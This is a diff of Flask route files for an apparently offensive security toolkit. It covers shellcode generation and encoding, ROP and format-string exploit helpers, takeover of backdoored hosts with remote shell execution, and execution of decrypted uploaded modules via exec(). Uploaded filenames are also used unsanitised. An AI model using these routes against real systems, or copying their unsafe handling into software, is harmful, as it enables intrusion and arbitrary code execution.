))
|
||||
|
||||
|
||||
@email_sec_bp.route('/mailbox/fetch', methods=['POST'])
|
||||
@login_required
|
||||
def mailbox_fetch():
|
||||
"""Fetch a full email by message ID."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host', '').strip()
|
||||
username = data.get('username', '').strip()
|
||||
password = data.get('password', '')
|
||||
message_id = data.get('message_id', '').strip()
|
||||
if not host or not username or not password or not message_id:
|
||||
return jsonify({'error': 'Host, username, password, and message_id are required'}), 400
|
||||
return jsonify(_get_es().fetch_email(
|
||||
host=host,
|
||||
username=username,
|
||||
password=password,
|
||||
message_id=message_id,
|
||||
protocol=data.get('protocol', 'imap'),
|
||||
use_ssl=data.get('ssl', True),
|
||||
))
|
||||
|
||||
|
||||
@email_sec_bp.route('/blacklist', methods=['POST'])
|
||||
@login_required
|
||||
def check_blacklists():
|
||||
"""Check IP or domain against email blacklists."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
target = data.get('ip_or_domain', '').strip()
|
||||
if not target:
|
||||
return jsonify({'error': 'IP or domain is required'}), 400
|
||||
return jsonify(_get_es().check_blacklists(target))
|
||||
|
||||
|
||||
@email_sec_bp.route('/abuse-report', methods=['POST'])
|
||||
@login_required
|
||||
def abuse_report():
|
||||
"""Generate an abuse report."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
incident_data = data.get('incident_data', data)
|
||||
return jsonify(_get_es().generate_abuse_report(incident_data))
|
||||
333
web/routes/encmodules.py
Normal file
333
web/routes/encmodules.py
Normal file
@@ -0,0 +1,333 @@
|
||||
"""Encrypted Modules — load and execute AES-encrypted Python modules."""
|
||||
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
import uuid
|
||||
from pathlib import Path
|
||||
|
||||
from flask import (Blueprint, Response, jsonify, render_template,
|
||||
request, session)
|
||||
from web.auth import login_required
|
||||
|
||||
encmodules_bp = Blueprint('encmodules', __name__, url_prefix='/encmodules')
|
||||
|
||||
# ── Storage ───────────────────────────────────────────────────────────────────
|
||||
|
||||
def _module_dir() -> Path:
|
||||
from core.paths import get_app_dir
|
||||
d = get_app_dir() / 'modules' / 'encrypted'
|
||||
d.mkdir(parents=True, exist_ok=True)
|
||||
return d
|
||||
|
||||
|
||||
# ── Module metadata ───────────────────────────────────────────────────────────
|
||||
|
||||
_DISPLAY_NAMES = {
|
||||
'tor_pedo_hunter_killer': 'TOR-Pedo Hunter Killer',
|
||||
'tor-pedo_hunter_killer': 'TOR-Pedo Hunter Killer',
|
||||
'tphk': 'TOR-Pedo Hunter Killer',
|
||||
'poison_pill': 'Poison Pill',
|
||||
'poisonpill': 'Poison Pill',
|
||||
'floppy_dick': 'Floppy_Dick',
|
||||
'floppydick': 'Floppy_Dick',
|
||||
}
|
||||
|
||||
_DESCRIPTIONS = {
|
||||
'TOR-Pedo Hunter Killer':
|
||||
'Identifies and reports CSAM distributors and predator networks on Tor hidden services. '
|
||||
'Generates law-enforcement referral dossiers. Authorized investigations only.',
|
||||
'Poison Pill':
|
||||
'Emergency anti-forensic self-protection. Securely wipes configured data paths, '
|
||||
'rotates credentials, kills sessions, and triggers remote wipe on companion devices.',
|
||||
'Floppy_Dick':
|
||||
'Legacy-protocol credential fuzzer. Tests FTP, Telnet, SMTP, SNMP v1/v2c, and '
|
||||
'other deprecated authentication endpoints. For authorized pentest engagements.',
|
||||
}
|
||||
|
||||
_TAGS = {
|
||||
'TOR-Pedo Hunter Killer': ['CSAM', 'TOR', 'OSINT', 'counter'],
|
||||
'Poison Pill': ['anti-forensic', 'emergency', 'wipe'],
|
||||
'Floppy_Dick': ['brute-force', 'auth', 'legacy', 'pentest'],
|
||||
}
|
||||
|
||||
_TAG_COLORS = {
|
||||
'CSAM': 'danger', 'TOR': 'danger', 'counter': 'warn',
|
||||
'OSINT': 'info', 'anti-forensic': 'warn', 'emergency': 'danger',
|
||||
'wipe': 'danger', 'brute-force': 'warn', 'auth': 'info',
|
||||
'legacy': 'dim', 'pentest': 'info',
|
||||
}
|
||||
|
||||
|
||||
def _resolve_display_name(stem: str) -> str:
|
||||
key = stem.lower().replace('-', '_')
|
||||
return _DISPLAY_NAMES.get(key, stem.replace('_', ' ').replace('-', ' ').title())
|
||||
|
||||
|
||||
def _read_sidecar(aes_path: Path) -> dict:
|
||||
"""Try to read a .json sidecar file alongside the .aes file."""
|
||||
sidecar = aes_path.with_suffix('.json')
|
||||
if sidecar.exists():
|
||||
try:
|
||||
return json.loads(sidecar.read_text(encoding='utf-8'))
|
||||
except Exception:
|
||||
pass
|
||||
return {}
|
||||
|
||||
|
||||
def _read_autarch_meta(aes_path: Path) -> dict:
|
||||
"""Try to read embedded AUTARCH-format metadata without decrypting."""
|
||||
try:
|
||||
from core.module_crypto import read_metadata
|
||||
meta = read_metadata(aes_path)
|
||||
if meta:
|
||||
return meta
|
||||
except Exception:
|
||||
pass
|
||||
return {}
|
||||
|
||||
|
||||
def _get_module_info(path: Path) -> dict:
|
||||
"""Build a metadata dict for a single .aes file."""
|
||||
stem = path.stem
|
||||
meta = _read_autarch_meta(path) or _read_sidecar(path)
|
||||
display = meta.get('name') or _resolve_display_name(stem)
|
||||
size_kb = round(path.stat().st_size / 1024, 1)
|
||||
|
||||
return {
|
||||
'id': stem,
|
||||
'filename': path.name,
|
||||
'path': str(path),
|
||||
'name': display,
|
||||
'description': meta.get('description') or _DESCRIPTIONS.get(display, ''),
|
||||
'version': meta.get('version', '—'),
|
||||
'author': meta.get('author', '—'),
|
||||
'tags': meta.get('tags') or _TAGS.get(display, []),
|
||||
'tag_colors': _TAG_COLORS,
|
||||
'size_kb': size_kb,
|
||||
}
|
||||
|
||||
|
||||
def _list_modules() -> list[dict]:
|
||||
d = _module_dir()
|
||||
modules = []
|
||||
for p in sorted(d.glob('*.aes')):
|
||||
modules.append(_get_module_info(p))
|
||||
return modules
|
||||
|
||||
|
||||
# ── Decryption ────────────────────────────────────────────────────────────────
|
||||
|
||||
def _decrypt_aes_file(path: Path, password: str) -> str:
|
||||
"""
|
||||
Decrypt an .aes file and return the Python source string.
|
||||
|
||||
Tries AUTARCH format first, then falls back to raw AES-256-CBC
|
||||
with the password as a 32-byte key (PBKDF2-derived or raw).
|
||||
"""
|
||||
data = path.read_bytes()
|
||||
|
||||
# ── AUTARCH format ────────────────────────────────────────────────────────
|
||||
try:
|
||||
from core.module_crypto import decrypt_module
|
||||
source, _ = decrypt_module(data, password)
|
||||
return source
|
||||
except ValueError as e:
|
||||
if 'bad magic' not in str(e).lower():
|
||||
raise # Wrong password or tampered — propagate
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ── Fallback: raw AES-256-CBC, IV in first 16 bytes ──────────────────────
|
||||
# Key derived from password via SHA-512 (first 32 bytes)
|
||||
import hashlib
|
||||
raw_key = hashlib.sha512(password.encode('utf-8')).digest()[:32]
|
||||
iv = data[:16]
|
||||
ciphertext = data[16:]
|
||||
|
||||
from core.module_crypto import _aes_decrypt
|
||||
try:
|
||||
plaintext = _aes_decrypt(raw_key, iv, ciphertext)
|
||||
return plaintext.decode('utf-8')
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ── Fallback 2: PBKDF2 with fixed salt ───────────────────────────────────
|
||||
import struct
|
||||
# Try with the first 16 bytes as IV and empty salt PBKDF2
|
||||
pbkdf_key = hashlib.pbkdf2_hmac('sha512', password.encode(), b'\x00' * 32, 10000, dklen=32)
|
||||
try:
|
||||
plaintext = _aes_decrypt(pbkdf_key, iv, ciphertext)
|
||||
return plaintext.decode('utf-8')
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
raise ValueError("Decryption failed — check your password/key")
|
||||
|
||||
|
||||
# ── Execution ─────────────────────────────────────────────────────────────────
|
||||
|
||||
_active_runs: dict = {} # run_id -> {'steps': [], 'done': bool, 'stop': Event}
|
||||
|
||||
|
||||
def _exec_module(source: str, params: dict, run_id: str) -> None:
|
||||
"""Execute decrypted module source in a background thread."""
|
||||
run = _active_runs[run_id]
|
||||
steps = run['steps']
|
||||
|
||||
def output_cb(item: dict) -> None:
|
||||
steps.append(item)
|
||||
|
||||
output_cb({'line': '[MODULE] Starting...'})
|
||||
namespace: dict = {
|
||||
'__name__': '__encmod__',
|
||||
'__builtins__': __builtins__,
|
||||
}
|
||||
try:
|
||||
exec(compile(source, '<encrypted_module>', 'exec'), namespace)
|
||||
if 'run' in namespace and callable(namespace['run']):
|
||||
result = namespace['run'](params, output_cb=output_cb)
|
||||
steps.append({'line': f'[MODULE] Finished.', 'result': result})
|
||||
else:
|
||||
steps.append({'line': '[MODULE] No run() function found — module loaded but not executed.'})
|
||||
except Exception as exc:
|
||||
steps.append({'line': f'[MODULE][ERROR] {exc}', 'error': True})
|
||||
finally:
|
||||
run['done'] = True
|
||||
|
||||
|
||||
# ── Routes ────────────────────────────────────────────────────────────────────
|
||||
|
||||
@encmodules_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('encmodules.html', modules=_list_modules())
|
||||
|
||||
|
||||
@encmodules_bp.route('/upload', methods=['POST'])
|
||||
@login_required
|
||||
def upload():
|
||||
f = request.files.get('module_file')
|
||||
if not f or not f.filename:
|
||||
return jsonify({'error': 'No file provided'})
|
||||
filename = f.filename
|
||||
if not filename.lower().endswith('.aes'):
|
||||
return jsonify({'error': 'Only .aes files are accepted'})
|
||||
dest = _module_dir() / Path(filename).name
|
||||
f.save(str(dest))
|
||||
info = _get_module_info(dest)
|
||||
return jsonify({'ok': True, 'module': info})
|
||||
|
||||
|
||||
@encmodules_bp.route('/verify', methods=['POST'])
|
||||
@login_required
|
||||
def verify():
|
||||
"""Try to decrypt a module with the given password and return status (no execution)."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
filename = data.get('filename', '').strip()
|
||||
password = data.get('password', '').strip()
|
||||
if not filename or not password:
|
||||
return jsonify({'error': 'filename and password required'})
|
||||
path = _module_dir() / filename
|
||||
if not path.exists():
|
||||
return jsonify({'error': 'Module not found'})
|
||||
try:
|
||||
source = _decrypt_aes_file(path, password)
|
||||
lines = source.count('\n') + 1
|
||||
has_run = 'def run(' in source
|
||||
return jsonify({'ok': True, 'lines': lines, 'has_run': has_run})
|
||||
except ValueError as exc:
|
||||
return jsonify({'error': str(exc)})
|
||||
except Exception as exc:
|
||||
return jsonify({'error': f'Unexpected error: {exc}'})
|
||||
|
||||
|
||||
@encmodules_bp.route('/run', methods=['POST'])
|
||||
@login_required
|
||||
def run_module():
|
||||
"""Decrypt and execute a module, returning a run_id for SSE streaming."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
filename = data.get('filename', '').strip()
|
||||
password = data.get('password', '').strip()
|
||||
params = data.get('params', {})
|
||||
if not filename or not password:
|
||||
return jsonify({'error': 'filename and password required'})
|
||||
path = _module_dir() / filename
|
||||
if not path.exists():
|
||||
return jsonify({'error': 'Module not found'})
|
||||
try:
|
||||
source = _decrypt_aes_file(path, password)
|
||||
except ValueError as exc:
|
||||
return jsonify({'error': str(exc)})
|
||||
except Exception as exc:
|
||||
return jsonify({'error': f'Decrypt error: {exc}'})
|
||||
|
||||
run_id = str(uuid.uuid4())
|
||||
stop_ev = threading.Event()
|
||||
_active_runs[run_id] = {'steps': [], 'done': False, 'stop': stop_ev}
|
||||
|
||||
t = threading.Thread(target=_exec_module, args=(source, params, run_id), daemon=True)
|
||||
t.start()
|
||||
|
||||
return jsonify({'ok': True, 'run_id': run_id})
|
||||
|
||||
|
||||
@encmodules_bp.route('/stream/<run_id>')
|
||||
@login_required
|
||||
def stream(run_id: str):
|
||||
"""SSE stream for a running module."""
|
||||
def generate():
|
||||
run = _active_runs.get(run_id)
|
||||
if not run:
|
||||
yield f"data: {json.dumps({'error': 'Run not found'})}\n\n"
|
||||
return
|
||||
sent = 0
|
||||
while True:
|
||||
steps = run['steps']
|
||||
while sent < len(steps):
|
||||
yield f"data: {json.dumps(steps[sent])}\n\n"
|
||||
sent += 1
|
||||
if run['done']:
|
||||
yield f"data: {json.dumps({'done': True})}\n\n"
|
||||
_active_runs.pop(run_id, None)
|
||||
return
|
||||
time.sleep(0.1)
|
||||
|
||||
return Response(generate(), mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|
||||
|
||||
|
||||
@encmodules_bp.route('/stop/<run_id>', methods=['POST'])
|
||||
@login_required
|
||||
def stop_run(run_id: str):
|
||||
run = _active_runs.get(run_id)
|
||||
if run:
|
||||
run['stop'].set()
|
||||
run['done'] = True
|
||||
return jsonify({'stopped': bool(run)})
|
||||
|
||||
|
||||
@encmodules_bp.route('/delete', methods=['POST'])
|
||||
@login_required
|
||||
def delete():
|
||||
data = request.get_json(silent=True) or {}
|
||||
filename = data.get('filename', '').strip()
|
||||
if not filename:
|
||||
return jsonify({'error': 'filename required'})
|
||||
path = _module_dir() / filename
|
||||
if path.exists() and path.suffix.lower() == '.aes':
|
||||
path.unlink()
|
||||
sidecar = path.with_suffix('.json')
|
||||
if sidecar.exists():
|
||||
sidecar.unlink()
|
||||
return jsonify({'ok': True})
|
||||
return jsonify({'error': 'File not found or invalid'})
|
||||
|
||||
|
||||
@encmodules_bp.route('/list')
|
||||
@login_required
|
||||
def list_modules():
|
||||
return jsonify({'modules': _list_modules()})
|
||||
154
web/routes/exploit_dev.py
Normal file
154
web/routes/exploit_dev.py
Normal file
@@ -0,0 +1,154 @@
|
||||
"""Exploit Development routes."""
|
||||
import os
|
||||
from flask import Blueprint, request, jsonify, render_template, current_app
|
||||
from web.auth import login_required
|
||||
|
||||
exploit_dev_bp = Blueprint('exploit_dev', __name__, url_prefix='/exploit-dev')
|
||||
|
||||
|
||||
def _get_dev():
|
||||
from modules.exploit_dev import get_exploit_dev
|
||||
return get_exploit_dev()
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('exploit_dev.html')
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/shellcode', methods=['POST'])
|
||||
@login_required
|
||||
def shellcode():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_dev().generate_shellcode(
|
||||
shell_type=data.get('type', 'execve'),
|
||||
arch=data.get('arch', 'x64'),
|
||||
host=data.get('host') or None,
|
||||
port=data.get('port') or None,
|
||||
platform=data.get('platform', 'linux'),
|
||||
staged=data.get('staged', False),
|
||||
output_format=data.get('output_format', 'hex'),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/shellcodes')
|
||||
@login_required
|
||||
def list_shellcodes():
|
||||
return jsonify({'shellcodes': _get_dev().list_shellcodes()})
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/encode', methods=['POST'])
|
||||
@login_required
|
||||
def encode():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_dev().encode_payload(
|
||||
shellcode=data.get('shellcode', ''),
|
||||
encoder=data.get('encoder', 'xor'),
|
||||
key=data.get('key') or None,
|
||||
iterations=int(data.get('iterations', 1)),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/pattern/create', methods=['POST'])
|
||||
@login_required
|
||||
def pattern_create():
|
||||
data = request.get_json(silent=True) or {}
|
||||
length = int(data.get('length', 500))
|
||||
result = _get_dev().generate_pattern(length)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/pattern/offset', methods=['POST'])
|
||||
@login_required
|
||||
def pattern_offset():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_dev().find_pattern_offset(
|
||||
value=data.get('value', ''),
|
||||
length=int(data.get('length', 20000)),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/rop/gadgets', methods=['POST'])
|
||||
@login_required
|
||||
def rop_gadgets():
|
||||
data = request.get_json(silent=True) or {}
|
||||
binary_path = data.get('binary_path', '').strip()
|
||||
|
||||
# Support file upload
|
||||
if not binary_path and request.content_type and 'multipart' in request.content_type:
|
||||
uploaded = request.files.get('binary')
|
||||
if uploaded:
|
||||
upload_dir = current_app.config.get('UPLOAD_FOLDER', '/tmp')
|
||||
binary_path = os.path.join(upload_dir, uploaded.filename)
|
||||
uploaded.save(binary_path)
|
||||
|
||||
if not binary_path:
|
||||
return jsonify({'error': 'No binary path or file provided'}), 400
|
||||
|
||||
gadget_type = data.get('gadget_type') or None
|
||||
if gadget_type == 'all':
|
||||
gadget_type = None
|
||||
|
||||
result = _get_dev().find_rop_gadgets(binary_path, gadget_type)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/rop/chain', methods=['POST'])
|
||||
@login_required
|
||||
def rop_chain():
|
||||
data = request.get_json(silent=True) or {}
|
||||
gadgets = data.get('gadgets', [])
|
||||
chain_spec = data.get('chain_spec', [])
|
||||
if not gadgets or not chain_spec:
|
||||
return jsonify({'error': 'Provide gadgets and chain_spec'}), 400
|
||||
result = _get_dev().build_rop_chain(gadgets, chain_spec)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/format/offset', methods=['POST'])
|
||||
@login_required
|
||||
def format_offset():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_dev().format_string_offset(
|
||||
binary_path=data.get('binary_path'),
|
||||
test_count=int(data.get('test_count', 20)),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/format/write', methods=['POST'])
|
||||
@login_required
|
||||
def format_write():
|
||||
data = request.get_json(silent=True) or {}
|
||||
address = data.get('address', '0')
|
||||
value = data.get('value', '0')
|
||||
offset = data.get('offset', 1)
|
||||
result = _get_dev().format_string_write(address, value, offset)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/assemble', methods=['POST'])
|
||||
@login_required
|
||||
def assemble():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_dev().assemble(
|
||||
code=data.get('code', ''),
|
||||
arch=data.get('arch', 'x64'),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@exploit_dev_bp.route('/disassemble', methods=['POST'])
|
||||
@login_required
|
||||
def disassemble():
|
||||
data = request.get_json(silent=True) or {}
|
||||
result = _get_dev().disassemble(
|
||||
data=data.get('hex', ''),
|
||||
arch=data.get('arch', 'x64'),
|
||||
offset=int(data.get('offset', 0)),
|
||||
)
|
||||
return jsonify(result)
|
||||
71
web/routes/forensics.py
Normal file
71
web/routes/forensics.py
Normal file
@@ -0,0 +1,71 @@
|
||||
"""Forensics Toolkit routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
forensics_bp = Blueprint('forensics', __name__, url_prefix='/forensics')
|
||||
|
||||
def _get_engine():
|
||||
from modules.forensics import get_forensics
|
||||
return get_forensics()
|
||||
|
||||
@forensics_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('forensics.html')
|
||||
|
||||
@forensics_bp.route('/hash', methods=['POST'])
|
||||
@login_required
|
||||
def hash_file():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().hash_file(data.get('file', ''), data.get('algorithms')))
|
||||
|
||||
@forensics_bp.route('/verify', methods=['POST'])
|
||||
@login_required
|
||||
def verify_hash():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().verify_hash(
|
||||
data.get('file', ''), data.get('hash', ''), data.get('algorithm')
|
||||
))
|
||||
|
||||
@forensics_bp.route('/image', methods=['POST'])
|
||||
@login_required
|
||||
def create_image():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().create_image(data.get('source', ''), data.get('output')))
|
||||
|
||||
@forensics_bp.route('/carve', methods=['POST'])
|
||||
@login_required
|
||||
def carve_files():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().carve_files(
|
||||
data.get('source', ''), data.get('file_types'), data.get('max_files', 100)
|
||||
))
|
||||
|
||||
@forensics_bp.route('/metadata', methods=['POST'])
|
||||
@login_required
|
||||
def extract_metadata():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().extract_metadata(data.get('file', '')))
|
||||
|
||||
@forensics_bp.route('/timeline', methods=['POST'])
|
||||
@login_required
|
||||
def build_timeline():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_engine().build_timeline(
|
||||
data.get('directory', ''), data.get('recursive', True), data.get('max_entries', 10000)
|
||||
))
|
||||
|
||||
@forensics_bp.route('/evidence')
|
||||
@login_required
|
||||
def list_evidence():
|
||||
return jsonify(_get_engine().list_evidence())
|
||||
|
||||
@forensics_bp.route('/carved')
|
||||
@login_required
|
||||
def list_carved():
|
||||
return jsonify(_get_engine().list_carved())
|
||||
|
||||
@forensics_bp.route('/custody')
|
||||
@login_required
|
||||
def custody_log():
|
||||
return jsonify(_get_engine().get_custody_log())
|
||||
139
web/routes/hack_hijack.py
Normal file
139
web/routes/hack_hijack.py
Normal file
@@ -0,0 +1,139 @@
|
||||
"""Hack Hijack — web routes for scanning and taking over compromised systems."""
|
||||
|
||||
import threading
|
||||
import uuid
|
||||
from flask import Blueprint, render_template, request, jsonify, Response
|
||||
from web.auth import login_required
|
||||
|
||||
hack_hijack_bp = Blueprint('hack_hijack', __name__)
|
||||
|
||||
# Running scans keyed by job_id
|
||||
_running_scans: dict = {}
|
||||
|
||||
|
||||
def _svc():
|
||||
from modules.hack_hijack import get_hack_hijack
|
||||
return get_hack_hijack()
|
||||
|
||||
|
||||
# ── UI ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
@hack_hijack_bp.route('/hack-hijack/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('hack_hijack.html')
|
||||
|
||||
|
||||
# ── Scanning ──────────────────────────────────────────────────────────────────
|
||||
|
||||
@hack_hijack_bp.route('/hack-hijack/scan', methods=['POST'])
|
||||
@login_required
|
||||
def start_scan():
|
||||
data = request.get_json(silent=True) or {}
|
||||
target = data.get('target', '').strip()
|
||||
scan_type = data.get('scan_type', 'quick')
|
||||
custom_ports = data.get('custom_ports', [])
|
||||
|
||||
if not target:
|
||||
return jsonify({'ok': False, 'error': 'Target IP required'})
|
||||
|
||||
# Validate scan type
|
||||
if scan_type not in ('quick', 'full', 'nmap', 'custom'):
|
||||
scan_type = 'quick'
|
||||
|
||||
job_id = str(uuid.uuid4())[:8]
|
||||
result_holder = {'result': None, 'error': None, 'done': False}
|
||||
_running_scans[job_id] = result_holder
|
||||
|
||||
def do_scan():
|
||||
try:
|
||||
svc = _svc()
|
||||
r = svc.scan_target(
|
||||
target,
|
||||
scan_type=scan_type,
|
||||
custom_ports=custom_ports,
|
||||
timeout=3.0,
|
||||
)
|
||||
result_holder['result'] = r.to_dict()
|
||||
except Exception as e:
|
||||
result_holder['error'] = str(e)
|
||||
finally:
|
||||
result_holder['done'] = True
|
||||
|
||||
threading.Thread(target=do_scan, daemon=True).start()
|
||||
return jsonify({'ok': True, 'job_id': job_id,
|
||||
'message': f'Scan started on {target} ({scan_type})'})
|
||||
|
||||
|
||||
@hack_hijack_bp.route('/hack-hijack/scan/<job_id>', methods=['GET'])
|
||||
@login_required
|
||||
def scan_status(job_id):
|
||||
holder = _running_scans.get(job_id)
|
||||
if not holder:
|
||||
return jsonify({'ok': False, 'error': 'Job not found'})
|
||||
if not holder['done']:
|
||||
return jsonify({'ok': True, 'done': False, 'message': 'Scan in progress...'})
|
||||
if holder['error']:
|
||||
return jsonify({'ok': False, 'error': holder['error'], 'done': True})
|
||||
# Clean up
|
||||
_running_scans.pop(job_id, None)
|
||||
return jsonify({'ok': True, 'done': True, 'result': holder['result']})
|
||||
|
||||
|
||||
# ── Takeover ──────────────────────────────────────────────────────────────────
|
||||
|
||||
@hack_hijack_bp.route('/hack-hijack/takeover', methods=['POST'])
|
||||
@login_required
|
||||
def attempt_takeover():
|
||||
data = request.get_json(silent=True) or {}
|
||||
host = data.get('host', '').strip()
|
||||
backdoor = data.get('backdoor', {})
|
||||
if not host or not backdoor:
|
||||
return jsonify({'ok': False, 'error': 'Host and backdoor data required'})
|
||||
svc = _svc()
|
||||
result = svc.attempt_takeover(host, backdoor)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
# ── Sessions ──────────────────────────────────────────────────────────────────
|
||||
|
||||
@hack_hijack_bp.route('/hack-hijack/sessions', methods=['GET'])
|
||||
@login_required
|
||||
def list_sessions():
|
||||
svc = _svc()
|
||||
return jsonify({'ok': True, 'sessions': svc.list_sessions()})
|
||||
|
||||
|
||||
@hack_hijack_bp.route('/hack-hijack/sessions/<session_id>/exec', methods=['POST'])
|
||||
@login_required
|
||||
def shell_exec(session_id):
|
||||
data = request.get_json(silent=True) or {}
|
||||
command = data.get('command', '')
|
||||
if not command:
|
||||
return jsonify({'ok': False, 'error': 'No command provided'})
|
||||
svc = _svc()
|
||||
result = svc.shell_execute(session_id, command)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@hack_hijack_bp.route('/hack-hijack/sessions/<session_id>', methods=['DELETE'])
|
||||
@login_required
|
||||
def close_session(session_id):
|
||||
svc = _svc()
|
||||
return jsonify(svc.close_session(session_id))
|
||||
|
||||
|
||||
# ── History ───────────────────────────────────────────────────────────────────
|
||||
|
||||
@hack_hijack_bp.route('/hack-hijack/history', methods=['GET'])
|
||||
@login_required
|
||||
def scan_history():
|
||||
svc = _svc()
|
||||
return jsonify({'ok': True, 'scans': svc.get_scan_history()})
|
||||
|
||||
|
||||
@hack_hijack_bp.route('/hack-hijack/history', methods=['DELETE'])
|
||||
@login_required
|
||||
def clear_history():
|
||||
svc = _svc()
|
||||
return jsonify(svc.clear_history())
|
||||
416
web/routes/hardware.py
Normal file
416
web/routes/hardware.py
Normal file
@@ -0,0 +1,416 @@
|
||||
"""Hardware route - ADB/Fastboot device management and ESP32 serial flashing."""
|
||||
|
||||
import json
|
||||
import time
|
||||
from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context
|
||||
from web.auth import login_required
|
||||
|
||||
hardware_bp = Blueprint('hardware', __name__, url_prefix='/hardware')
|
||||
|
||||
|
||||
@hardware_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
status = mgr.get_status()
|
||||
return render_template('hardware.html', status=status)
|
||||
|
||||
|
||||
@hardware_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
return jsonify(mgr.get_status())
|
||||
|
||||
|
||||
# ── ADB Endpoints ──────────────────────────────────────────────────
|
||||
|
||||
@hardware_bp.route('/adb/devices')
|
||||
@login_required
|
||||
def adb_devices():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
return jsonify({'devices': mgr.adb_devices()})
|
||||
|
||||
|
||||
@hardware_bp.route('/adb/info', methods=['POST'])
|
||||
@login_required
|
||||
def adb_info():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
return jsonify(mgr.adb_device_info(serial))
|
||||
|
||||
|
||||
@hardware_bp.route('/adb/shell', methods=['POST'])
|
||||
@login_required
|
||||
def adb_shell():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
command = data.get('command', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
if not command:
|
||||
return jsonify({'error': 'No command provided'})
|
||||
result = mgr.adb_shell(serial, command)
|
||||
return jsonify({
|
||||
'stdout': result.get('output', ''),
|
||||
'stderr': '',
|
||||
'exit_code': result.get('returncode', -1),
|
||||
})
|
||||
|
||||
|
||||
@hardware_bp.route('/adb/reboot', methods=['POST'])
|
||||
@login_required
|
||||
def adb_reboot():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
mode = data.get('mode', 'system').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
if mode not in ('system', 'recovery', 'bootloader'):
|
||||
return jsonify({'error': 'Invalid mode'})
|
||||
return jsonify(mgr.adb_reboot(serial, mode))
|
||||
|
||||
|
||||
@hardware_bp.route('/adb/sideload', methods=['POST'])
|
||||
@login_required
|
||||
def adb_sideload():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
filepath = data.get('filepath', '').strip()
|
||||
if not serial:
|
||||
return jsonify({'error': 'No serial provided'})
|
||||
if not filepath:
|
||||
return jsonify({'error': 'No filepath provided'})
|
||||
return jsonify(mgr.adb_sideload(serial, filepath))
|
||||
|
||||
|
||||
@hardware_bp.route('/adb/push', methods=['POST'])
|
||||
@login_required
|
||||
def adb_push():
|
||||
from core.hardware import get_hardware_manager
|
||||
mgr = get_hardware_manager()
|
||||
data = request.get_json(silent=True) or {}
|
||||
serial = data.get('serial', '').strip()
|
||||
local_path = data.get('local', '').strip()
|
||||
remote_path = data.get('remote', '').strip()
|
||||
if not serial or not local_path or not remote_path:
|
||||
return jsonify({'error': 'Missing serial, local, or remote path'})
|
||||
return jsonify(mgr.adb_push(serial, local_path, remote_path))
|
||||
|
||||
|
||||
